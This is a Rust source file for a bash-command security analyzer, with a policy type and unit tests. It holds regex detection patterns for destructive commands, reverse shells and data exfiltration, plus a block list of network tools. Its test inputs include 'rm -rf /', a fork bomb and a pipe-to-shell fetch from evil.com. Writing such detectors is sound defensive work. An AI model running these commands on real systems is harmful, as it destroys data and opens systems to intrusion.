1use std::collections::HashSet;
4use std::sync::LazyLock;
5
6use regex::Regex;
7use tree_sitter::{Language, Parser, Query, QueryCursor, StreamingIterator};
8
9static DANGEROUS_PATTERNS: LazyLock<Vec<(Regex, &'static str)>> = LazyLock::new(|| {
10 vec![
11 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*/$").unwrap(), "rm root"),
13 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*/\*").unwrap(), "rm /*"),
14 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\./\*").unwrap(), "rm ./*"),
15 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\.\./").unwrap(), "rm ../"),
16 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*~/?").unwrap(), "rm home"),
17 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\.\s*$").unwrap(), "rm ."),
18 (
19 Regex::new(r"rm\s+(-[rfRPd]+\s+)*/\{").unwrap(),
20 "rm brace expansion",
21 ),
22 (
23 Regex::new(r"\b(sudo|doas)\s+rm\b").unwrap(),
24 "privileged rm",
25 ),
26 (
28 Regex::new(r"\bfind\s+/\s+.*-delete\b").unwrap(),
29 "find / -delete",
30 ),
31 (
32 Regex::new(r"\bfind\s+/\s+.*-exec\s+rm\b").unwrap(),
33 "find / -exec rm",
34 ),
35 (Regex::new(r"dd\s+.*if\s*=\s*/dev/zero").unwrap(), "dd zero"),
37 (
38 Regex::new(r"dd\s+.*of\s*=\s*/dev/[sh]d").unwrap(),
39 "dd disk",
40 ),
41 (Regex::new(r"\bmkfs(\.[a-z0-9]+)?\s").unwrap(), "mkfs"),
42 (Regex::new(r">\s*/dev/sd[a-z]").unwrap(), "overwrite disk"),
43 (Regex::new(r"\bfdisk\s+-[lw]").unwrap(), "fdisk"),
44 (Regex::new(r"\bparted\s").unwrap(), "parted"),
45 (Regex::new(r"\bwipefs\b").unwrap(), "wipefs"),
46 (Regex::new(r"shred\s+.*/dev/").unwrap(), "shred device"),
48 (
49 Regex::new(r"shred\s+(-[a-z]+\s+)*/$").unwrap(),
50 "shred root",
51 ),
52 (Regex::new(r"\bsrm\b").unwrap(), "secure-delete"),
53 (
55 Regex::new(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:").unwrap(),
56 "fork bomb",
57 ),
58 (
59 Regex::new(r"while\s+true\s*;\s*do\s*:\s*done").unwrap(),
60 "infinite loop",
61 ),
62 (Regex::new(r"\bpkexec\b").unwrap(), "pkexec"),
64 (Regex::new(r"\bsu\s+-(\s|$|;|\|)").unwrap(), "su root"),
65 (Regex::new(r"\bsu\s+root\b").unwrap(), "su root explicit"),
66 (Regex::new(r"\bdoas\s+-s\b").unwrap(), "doas shell"),
67 (Regex::new(r"\bshutdown\b").unwrap(), "shutdown"),
69 (Regex::new(r"(^|[^a-z])reboot\b").unwrap(), "reboot"),
70 (Regex::new(r"\binit\s+[06]\b").unwrap(), "init halt"),
71 (
72 Regex::new(r"\bsystemctl\s+(halt|poweroff|reboot)\b").unwrap(),
73 "systemctl power",
74 ),
75 (Regex::new(r"\bhalt\b").unwrap(), "halt"),
76 (Regex::new(r"\bpoweroff\b").unwrap(), "poweroff"),
77 (
79 Regex::new(r"chmod\s+(-[a-zA-Z]+\s+)*[0-7]*[67][0-7]*\s+/").unwrap(),
80 "chmod world-writable",
81 ),
82 (Regex::new(r"chown\s+.*\s+/$").unwrap(), "chown root"),
83 (
84 Regex::new(r"\bchattr\s+\+i\s+/").unwrap(),
85 "chattr immutable",
86 ),
87 (Regex::new(r"\biptables\s+-F").unwrap(), "iptables flush"),
89 (Regex::new(r"\bufw\s+disable").unwrap(), "ufw disable"),
90 (
91 Regex::new(r"\bfirewall-cmd\s+.*--panic-on").unwrap(),
92 "firewall panic",
93 ),
94 (
96 Regex::new(r"(wget|curl)\s+[^|]*\|\s*(ba)?sh\b").unwrap(),
97 "remote exec",
98 ),
99 (Regex::new(r"\beval\s+.*\$\(").unwrap(), "eval subshell"),
100 (
102 Regex::new(r"\bkillall\s+-9\s+(init|systemd)").unwrap(),
103 "kill init",
104 ),
105 (Regex::new(r"\bkill\s+-9\s+-1\b").unwrap(), "kill all"),
106 (Regex::new(r"\bpkill\s+-9\s+-1\b").unwrap(), "pkill all"),
107 (Regex::new(r"history\s+-[cd]").unwrap(), "history clear"),
109 (
110 Regex::new(r"export\s+HISTFILE\s*=\s*/dev/null").unwrap(),
111 "disable history",
112 ),
113 (Regex::new(r"\bcrontab\s+-r\b").unwrap(), "crontab remove"),
115 (Regex::new(r"\bat\s+-d\b").unwrap(), "at remove"),
116 (
118 Regex::new(r"\bcryptsetup\s+luksFormat").unwrap(),
119 "luks format",
120 ),
121 (Regex::new(r"\bnmap\s+-sS").unwrap(), "nmap syn scan"),
123 (
125 Regex::new(r"bash\s+-i\s*>?\s*&\s*/dev/tcp/").unwrap(),
126 "bash reverse shell",
127 ),
128 (
129 Regex::new(r"exec\s+\d+<>/dev/tcp/").unwrap(),
130 "exec fd reverse shell",
131 ),
132 (Regex::new(r"exec\s+\d+<&\d+").unwrap(), "exec fd redirect"),
133 (
134 Regex::new(r"\bnc\s+(-[a-z]+\s+)*-e\s+/bin/(ba)?sh").unwrap(),
135 "nc reverse shell",
136 ),
137 (
138 Regex::new(r#"python[23]?\s+-c\s+["']import\s+(socket|pty)"#).unwrap(),
139 "python reverse shell",
140 ),
141 (
142 Regex::new(r#"perl\s+-e\s+["'].*socket.*exec"#).unwrap(),
143 "perl reverse shell",
144 ),
145 (
146 Regex::new(r"ruby\s+-rsocket\s+-e").unwrap(),
147 "ruby reverse shell",
148 ),
149 (
150 Regex::new(r#"php\s+-r\s+["'].*fsockopen"#).unwrap(),
151 "php reverse shell",
152 ),
153 (
154 Regex::new(r"\bmkfifo\s+.*\|\s*(nc|ncat)\b").unwrap(),
155 "fifo reverse shell",
156 ),
157 (Regex::new(r"\bsocat\s+.*exec:").unwrap(), "socat exec"),
158 (Regex::new(r"\binsmod\s").unwrap(), "insmod"),
160 (Regex::new(r"\bmodprobe\s").unwrap(), "modprobe"),
161 (Regex::new(r"\brmmod\s").unwrap(), "rmmod"),
162 (Regex::new(r"\bnsenter\s").unwrap(), "nsenter"),
164 (
165 Regex::new(r"\bunshare\s+.*--mount").unwrap(),
166 "unshare mount",
167 ),
168 (Regex::new(r"mount\s+-t\s+proc\b").unwrap(), "mount proc"),
169 (
170 Regex::new(r"mount\s+--bind\s+/").unwrap(),
171 "mount bind root",
172 ),
173 (Regex::new(r"\bsetenforce\s+0").unwrap(), "selinux disable"),
175 (Regex::new(r"\baa-disable\b").unwrap(), "apparmor disable"),
176 (Regex::new(r"\baa-teardown\b").unwrap(), "apparmor teardown"),
177 (Regex::new(r"\bgcore\s").unwrap(), "gcore dump"),
179 (Regex::new(r"cat\s+/proc/\d+/mem").unwrap(), "proc mem read"),
180 (
182 Regex::new(r"base64\s+.*\|\s*(curl|wget|nc)\b").unwrap(),
183 "base64 exfil",
184 ),
185 (
186 Regex::new(r"tar\s+[^|]*\|\s*(nc|curl|wget)\b").unwrap(),
187 "tar exfil",
188 ),
189 (
191 Regex::new(r"\bxargs\s+(-[^\s]+\s+)*rm\s+-rf").unwrap(),
192 "xargs rm -rf",
193 ),
194 (
196 Regex::new(r"\bchmod\s+[ugo]*\+s\b").unwrap(),
197 "chmod setuid/setgid",
198 ),
199 (
200 Regex::new(r"\bchmod\s+[0-7]*[4-7][0-7]{2}\b").unwrap(),
201 "chmod suid bits",
202 ),
203 (Regex::new(r"\bchroot\s").unwrap(), "chroot"),
205 (Regex::new(r"\bmount\s+--bind\b").unwrap(), "mount bind"),
207 (
208 Regex::new(r"\bmount\s+-o\s+\S*bind").unwrap(),
209 "mount -o bind",
210 ),
211 (
212 Regex::new(r"\bmount\s+-t\s+overlay\b").unwrap(),
213 "mount overlay",
214 ),
215 (Regex::new(r"\bumount\s+-l\b").unwrap(), "lazy umount"),
216 (
218 Regex::new(r"\biptables\s+-P\s+\S+\s+ACCEPT").unwrap(),
219 "iptables default accept",
220 ),
221 (
222 Regex::new(r"\bufw\s+default\s+allow").unwrap(),
223 "ufw default allow",
224 ),
225 (Regex::new(r"\bnft\s+flush\s+ruleset").unwrap(), "nft flush"),
226 (Regex::new(r"\bsysctl\s+-w\b").unwrap(), "sysctl write"),
228 (Regex::new(r">\s*/proc/sys/").unwrap(), "proc sys write"),
229 (Regex::new(r"\bstrace\s+-p\b").unwrap(), "strace attach"),
231 (Regex::new(r"\bltrace\s+-p\b").unwrap(), "ltrace attach"),
232 (Regex::new(r"\bptrace\b").unwrap(), "ptrace"),
233 (
235 Regex::new(r"\bulimit\s+-[nu]\s*0\b").unwrap(),
236 "ulimit zero",
237 ),
238 (Regex::new(r"\bsetcap\b").unwrap(), "setcap"),
240 (Regex::new(r"\bcapsh\b").unwrap(), "capsh"),
241 (Regex::new(r"\bkexec\b").unwrap(), "kexec"),
243 (Regex::new(r"\bpivot_root\b").unwrap(), "pivot_root"),
244 (Regex::new(r"\bswapoff\s+-a\b").unwrap(), "swapoff all"),
245 ]
246});
247
248fn bash_language() -> Language {
249 tree_sitter_bash::LANGUAGE.into()
250}
251
252#[derive(Debug, Clone, PartialEq, Eq)]
253pub enum SecurityConcern {
254 CommandSubstitution,
255 ProcessSubstitution,
256 EvalUsage,
257 RemoteExecution,
258 PrivilegeEscalation,
259 DangerousCommand(String),
260 VariableExpansion,
261 BacktickSubstitution,
262}
263
264#[derive(Debug, Clone)]
265pub struct ReferencedPath {
266 pub path: String,
267 pub context: PathContext,
268}
269
270#[derive(Debug, Clone, PartialEq, Eq)]
271pub enum PathContext {
272 Argument,
273 InputRedirect,
274 OutputRedirect,
275 HereDoc,
276}
277
278#[derive(Debug, Clone)]
279pub struct BashAnalysis {
280 pub paths: Vec<ReferencedPath>,
281 pub commands: Vec<String>,
282 pub env_vars: HashSet<String>,
283 pub concerns: Vec<SecurityConcern>,
284}
285
286impl BashAnalysis {
287 fn new() -> Self {
288 Self {
289 paths: Vec::new(),
290 commands: Vec::new(),
291 env_vars: HashSet::new(),
292 concerns: Vec::new(),
293 }
294 }
295}
296
297#[derive(Debug, Clone, Default)]
298pub struct BashPolicy {
299 pub allow_command_substitution: bool,
300 pub allow_process_substitution: bool,
301 pub allow_eval: bool,
302 pub allow_remote_exec: bool,
303 pub allow_privilege_escalation: bool,
304 pub allow_variable_expansion: bool,
305 pub blocked_commands: HashSet<String>,
306}
307
308impl BashPolicy {
309 pub fn strict() -> Self {
310 Self {
311 allow_command_substitution: false,
312 allow_process_substitution: false,
313 allow_eval: false,
314 allow_remote_exec: false,
315 allow_privilege_escalation: false,
316 allow_variable_expansion: false,
317 blocked_commands: Self::default_blocked_commands(),
318 }
319 }
320
321 pub fn permissive() -> Self {
322 Self {
323 allow_command_substitution: true,
324 allow_process_substitution: true,
325 allow_eval: true,
326 allow_remote_exec: true,
327 allow_privilege_escalation: true,
328 allow_variable_expansion: true,
329 blocked_commands: HashSet::new(),
330 }
331 }
332
333 pub fn default_blocked_commands() -> HashSet<String> {
334 [
335 "curl", "wget", "nc", "ncat", "netcat", "telnet", "ftp", "sftp", "scp", "rsync",
336 ]
337 .into_iter()
338 .map(String::from)
339 .collect()
340 }
341
342 pub fn with_blocked_commands(
343 mut self,
344 commands: impl IntoIterator<Item = impl Into<String>>,
345 ) -> Self {
346 self.blocked_commands = commands.into_iter().map(Into::into).collect();
347 self
348 }
349
350 pub fn is_command_blocked(&self, command: &str) -> bool {
351 let base_command = command.split_whitespace().next().unwrap_or(command);
352 self.blocked_commands.contains(base_command)
353 }
354
355 pub fn allows(&self, concern: &SecurityConcern) -> bool {
356 match concern {
357 SecurityConcern::CommandSubstitution | SecurityConcern::BacktickSubstitution => {
358 self.allow_command_substitution
359 }
360 SecurityConcern::ProcessSubstitution => self.allow_process_substitution,
361 SecurityConcern::EvalUsage => self.allow_eval,
362 SecurityConcern::RemoteExecution => self.allow_remote_exec,
363 SecurityConcern::PrivilegeEscalation => self.allow_privilege_escalation,
364 SecurityConcern::VariableExpansion => self.allow_variable_expansion,
365 SecurityConcern::DangerousCommand(_) => false,
366 }
367 }
368}
369
370#[derive(Clone)]
371pub struct BashAnalyzer {
372 policy: BashPolicy,
373}
374
375impl BashAnalyzer {
376 pub fn new(policy: BashPolicy) -> Self {
377 Self { policy }
378 }
379
380 pub fn analyze(&self, command: &str) -> BashAnalysis {
381 let mut analysis = BashAnalysis::new();
382
383 self.check_dangerous_patterns(command, &mut analysis);
384
385 let mut parser = Parser::new();
386 if parser.set_language(&bash_language()).is_err() {
387 self.fallback_analysis(command, &mut analysis);
388 return analysis;
389 }
390
391 let Some(tree) = parser.parse(command, None) else {
392 self.fallback_analysis(command, &mut analysis);
393 return analysis;
394 };
395
396 self.extract_paths_from_tree(&tree, command, &mut analysis);
397 self.extract_commands_from_tree(&tree, command, &mut analysis);
398 self.check_security_concerns(&tree, command, &mut analysis);
399
400 analysis
401 }
402
403 pub fn validate(&self, command: &str) -> Result<BashAnalysis, String> {
404 let analysis = self.analyze(command);
405
406 for cmd in &analysis.commands {
408 if self.policy.is_command_blocked(cmd) {
409 return Err(format!("Blocked command: {}", cmd));
410 }
411 }
412
413 for concern in &analysis.concerns {
414 if !self.policy.allows(concern) {
415 return Err(format!("Security concern: {:?}", concern));
416 }
417 }
418
419 Ok(analysis)
420 }
421
422 fn check_dangerous_patterns(&self, command: &str, analysis: &mut BashAnalysis) {
423 let normalized = Self::normalize_whitespace(command);
424 for (pattern, name) in DANGEROUS_PATTERNS.iter() {
425 if pattern.is_match(&normalized) {
426 analysis
427 .concerns
428 .push(SecurityConcern::DangerousCommand(name.to_string()));
429 }
430 }
431 }
432
433 fn normalize_whitespace(command: &str) -> String {
434 static WS_RE: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"[ \t]+").unwrap());
435 WS_RE.replace_all(command.trim(), " ").to_string()
436 }
437
438 fn extract_paths_from_tree(
439 &self,
440 tree: &tree_sitter::Tree,
441 source: &str,
442 analysis: &mut BashAnalysis,
443 ) {
444 let query_str = r#"
445 (word) @arg
446 (file_redirect (word) @redirect_file)
447 (heredoc_redirect (heredoc_body) @heredoc)
448 "#;
449
450 if let Ok(query) = Query::new(&bash_language(), query_str) {
451 let mut cursor = QueryCursor::new();
452 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
453 while let Some(m) = matches.next() {
454 for capture in m.captures {
455 let text = &source[capture.node.byte_range()];
456 if text.starts_with('/') && !text.starts_with("/dev/") {
457 let context = match capture.index {
458 1 => PathContext::InputRedirect,
459 2 => PathContext::HereDoc,
460 _ => PathContext::Argument,
461 };
462 analysis.paths.push(ReferencedPath {
463 path: text.to_string(),
464 context,
465 });
466 }
467 }
468 }
469 }
470
471 self.extract_redirect_paths(tree, source, analysis);
472 }
473
474 fn extract_redirect_paths(
475 &self,
476 _tree: &tree_sitter::Tree,
477 source: &str,
478 analysis: &mut BashAnalysis,
479 ) {
480 static REDIRECT_RE: LazyLock<Regex> =
481 LazyLock::new(|| Regex::new(r"[<>]&?\s*(/[^\s;&|]+)").unwrap());
482
483 for cap in REDIRECT_RE.captures_iter(source) {
484 if let Some(path_match) = cap.get(1) {
485 let path = path_match.as_str();
486 if !path.starts_with("/dev/") {
487 let context = if source[..cap.get(0).unwrap().start()].ends_with('<') {
488 PathContext::InputRedirect
489 } else {
490 PathContext::OutputRedirect
491 };
492 analysis.paths.push(ReferencedPath {
493 path: path.to_string(),
494 context,
495 });
496 }
497 }
498 }
499 }
500
501 fn extract_commands_from_tree(
502 &self,
503 tree: &tree_sitter::Tree,
504 source: &str,
505 analysis: &mut BashAnalysis,
506 ) {
507 let query_str = "(command name: (command_name) @cmd)";
508
509 if let Ok(query) = Query::new(&bash_language(), query_str) {
510 let mut cursor = QueryCursor::new();
511 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
512 while let Some(m) = matches.next() {
513 for capture in m.captures {
514 let cmd = &source[capture.node.byte_range()];
515 analysis.commands.push(cmd.to_string());
516 }
517 }
518 }
519 }
520
521 fn check_security_concerns(
522 &self,
523 tree: &tree_sitter::Tree,
524 source: &str,
525 analysis: &mut BashAnalysis,
526 ) {
527 let query_str = r#"
528 (command_substitution) @cmd_sub
529 (process_substitution) @proc_sub
530 (expansion) @var_exp
531 (simple_expansion) @simple_exp
532 "#;
533
534 if let Ok(query) = Query::new(&bash_language(), query_str) {
535 let mut cursor = QueryCursor::new();
536 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
537 while let Some(m) = matches.next() {
538 for capture in m.captures {
539 match capture.index {
540 0 => analysis.concerns.push(SecurityConcern::CommandSubstitution),
541 1 => analysis.concerns.push(SecurityConcern::ProcessSubstitution),
542 2 | 3 => {
543 let var_text = &source[capture.node.byte_range()];
544 analysis.env_vars.insert(var_text.to_string());
545 analysis.concerns.push(SecurityConcern::VariableExpansion);
546 }
547 _ => {}
548 }
549 }
550 }
551 }
552
553 if source.contains('`') {
555 analysis
556 .concerns
557 .push(SecurityConcern::BacktickSubstitution);
558 }
559
560 for cmd in &analysis.commands {
561 match cmd.as_str() {
562 "eval" | "source" | "." => analysis.concerns.push(SecurityConcern::EvalUsage),
563 "sudo" | "doas" | "pkexec" | "su" => {
564 analysis.concerns.push(SecurityConcern::PrivilegeEscalation)
565 }
566 _ => {}
567 }
568 }
569
570 self.check_remote_execution(source, analysis);
572 }
573
574 fn check_remote_execution(&self, source: &str, analysis: &mut BashAnalysis) {
575 static REMOTE_EXEC_RE: LazyLock<Regex> = LazyLock::new(|| {
576 Regex::new(r"(curl|wget)\s+[^|]*\|\s*(ba)?sh|env\s+bash|exec\s+bash").unwrap()
577 });
578 if REMOTE_EXEC_RE.is_match(source) {
579 analysis.concerns.push(SecurityConcern::RemoteExecution);
580 }
581 if source.contains("curl")
582 && source.contains("|")
583 && (source.contains("sh") || source.contains("bash"))
584 && !analysis
585 .concerns
586 .contains(&SecurityConcern::RemoteExecution)
587 {
588 analysis.concerns.push(SecurityConcern::RemoteExecution);
589 }
590 if source.contains("wget")
591 && source.contains("|")
592 && (source.contains("sh") || source.contains("bash"))
593 && !analysis
594 .concerns
595 .contains(&SecurityConcern::RemoteExecution)
596 {
597 analysis.concerns.push(SecurityConcern::RemoteExecution);
598 }
599 }
600
601 fn fallback_analysis(&self, command: &str, analysis: &mut BashAnalysis) {
602 static PATH_RE: LazyLock<Regex> =
603 LazyLock::new(|| Regex::new(r#"(?:^|[\s'"=])(/[^\s'";&|><$`\\]+)"#).unwrap());
604 static VAR_RE: LazyLock<Regex> =
605 LazyLock::new(|| Regex::new(r"\$\{?[a-zA-Z_][a-zA-Z0-9_]*\}?").unwrap());
606
607 for cap in PATH_RE.captures_iter(command) {
608 if let Some(path_match) = cap.get(1) {
609 let path = path_match.as_str();
610 if !path.starts_with("/dev/")
611 && !path.starts_with("/proc/")
612 && !path.starts_with("/sys/")
613 {
614 analysis.paths.push(ReferencedPath {
615 path: path.to_string(),
616 context: PathContext::Argument,
617 });
618 }
619 }
620 }
621
622 static CMD_RE: LazyLock<Regex> =
623 LazyLock::new(|| Regex::new(r"^(\w+)|[;&|]\s*(\w+)").unwrap());
624
625 for cap in CMD_RE.captures_iter(command) {
626 if let Some(cmd) = cap.get(1).or(cap.get(2)) {
627 analysis.commands.push(cmd.as_str().to_string());
628 }
629 }
630
631 if command.contains("$(") {
632 analysis.concerns.push(SecurityConcern::CommandSubstitution);
633 }
634 if command.contains('`') {
635 analysis
636 .concerns
637 .push(SecurityConcern::BacktickSubstitution);
638 }
639 if command.contains("<(") || command.contains(">(") {
640 analysis.concerns.push(SecurityConcern::ProcessSubstitution);
641 }
642
643 for cap in VAR_RE.captures_iter(command) {
644 if let Some(var_match) = cap.get(0) {
645 analysis.env_vars.insert(var_match.as_str().to_string());
646 if !analysis
647 .concerns
648 .contains(&SecurityConcern::VariableExpansion)
649 {
650 analysis.concerns.push(SecurityConcern::VariableExpansion);
651 }
652 }
653 }
654 }
655}
656
657impl Default for BashAnalyzer {
658 fn default() -> Self {
659 Self::new(BashPolicy::default())
660 }
661}
662
663#[cfg(test)]
664mod tests {
665 use super::*;
666
667 #[test]
668 fn test_dangerous_command_blocked() {
669 let analyzer = BashAnalyzer::default();
670 let analysis = analyzer.analyze("rm -rf /");
671 assert!(
672 analysis
673 .concerns
674 .iter()
675 .any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
676 );
677 }
678
679 #[test]
680 fn test_extract_paths() {
681 let analyzer = BashAnalyzer::default();
682 let analysis = analyzer.analyze("cat /etc/passwd && ls /home/user");
683 assert!(analysis.paths.iter().any(|p| p.path == "/etc/passwd"));
684 assert!(analysis.paths.iter().any(|p| p.path == "/home/user"));
685 }
686
687 #[test]
688 fn test_redirect_paths() {
689 let analyzer = BashAnalyzer::default();
690 let analysis = analyzer.analyze("echo test > /tmp/out.txt");
691 assert!(analysis.paths.iter().any(|p| p.path == "/tmp/out.txt"));
692 }
693
694 #[test]
695 fn test_input_redirect() {
696 let analyzer = BashAnalyzer::default();
697 let analysis = analyzer.analyze("cat < /etc/hosts");
698 assert!(analysis.paths.iter().any(|p| p.path == "/etc/hosts"));
699 }
700
701 #[test]
702 fn test_command_substitution_detected() {
703 let analyzer = BashAnalyzer::default();
704 let analysis = analyzer.analyze("echo $(cat /etc/passwd)");
705 assert!(
706 analysis
707 .concerns
708 .iter()
709 .any(|c| matches!(c, SecurityConcern::CommandSubstitution))
710 );
711 }
712
713 #[test]
714 fn test_process_substitution_detected() {
715 let analyzer = BashAnalyzer::default();
716 let analysis = analyzer.analyze("diff <(ls /a) <(ls /b)");
717 assert!(
718 analysis
719 .concerns
720 .iter()
721 .any(|c| matches!(c, SecurityConcern::ProcessSubstitution))
722 );
723 }
724
725 #[test]
726 fn test_privilege_escalation_detected() {
727 let analyzer = BashAnalyzer::default();
728 let analysis = analyzer.analyze("sudo apt update");
729 assert!(
730 analysis
731 .concerns
732 .iter()
733 .any(|c| matches!(c, SecurityConcern::PrivilegeEscalation))
734 );
735 }
736
737 #[test]
738 fn test_remote_exec_detected() {
739 let analyzer = BashAnalyzer::default();
740 let analysis = analyzer.analyze("curl http://evil.com/script | sh");
741 assert!(
742 analysis
743 .concerns
744 .iter()
745 .any(|c| matches!(c, SecurityConcern::RemoteExecution))
746 );
747 }
748
749 #[test]
750 fn test_policy_validation() {
751 let analyzer = BashAnalyzer::new(BashPolicy::strict());
752 let result = analyzer.validate("echo $(whoami)");
753 assert!(result.is_err());
754 }
755
756 #[test]
757 fn test_safe_command() {
758 let analyzer = BashAnalyzer::new(BashPolicy::default());
759 let analysis = analyzer.analyze("echo hello world");
760 assert!(analysis.concerns.is_empty());
761 }
762
763 #[test]
764 fn test_fork_bomb_detected() {
765 let analyzer = BashAnalyzer::default();
766 let analysis = analyzer.analyze(":(){:|:&};:");
767 assert!(
768 analysis
769 .concerns
770 .iter()
771 .any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
772 );
773 }
774
775 #[test]
776 fn test_variable_expansion_detected() {
777 let analyzer = BashAnalyzer::default();
778 let analysis = analyzer.analyze("cat $HOME/.bashrc");
779 assert!(
780 analysis
781 .concerns
782 .iter()
783 .any(|c| matches!(c, SecurityConcern::VariableExpansion))
784 );
785 assert!(analysis.env_vars.contains("$HOME"));
786 }
787
788 #[test]
789 fn test_backtick_substitution_detected() {
790 let analyzer = BashAnalyzer::default();
791 let analysis = analyzer.analyze("echo `whoami`");
792 assert!(
793 analysis
794 .concerns
795 .iter()
796 .any(|c| matches!(c, SecurityConcern::BacktickSubstitution))
797 );
798 }
799
800 #[test]
801 fn test_source_command_detected() {
802 let analyzer = BashAnalyzer::default();
803 let analysis = analyzer.analyze("source /etc/profile");
804 assert!(
805 analysis
806 .concerns
807 .iter()
808 .any(|c| matches!(c, SecurityConcern::EvalUsage))
809 );
810 }
811}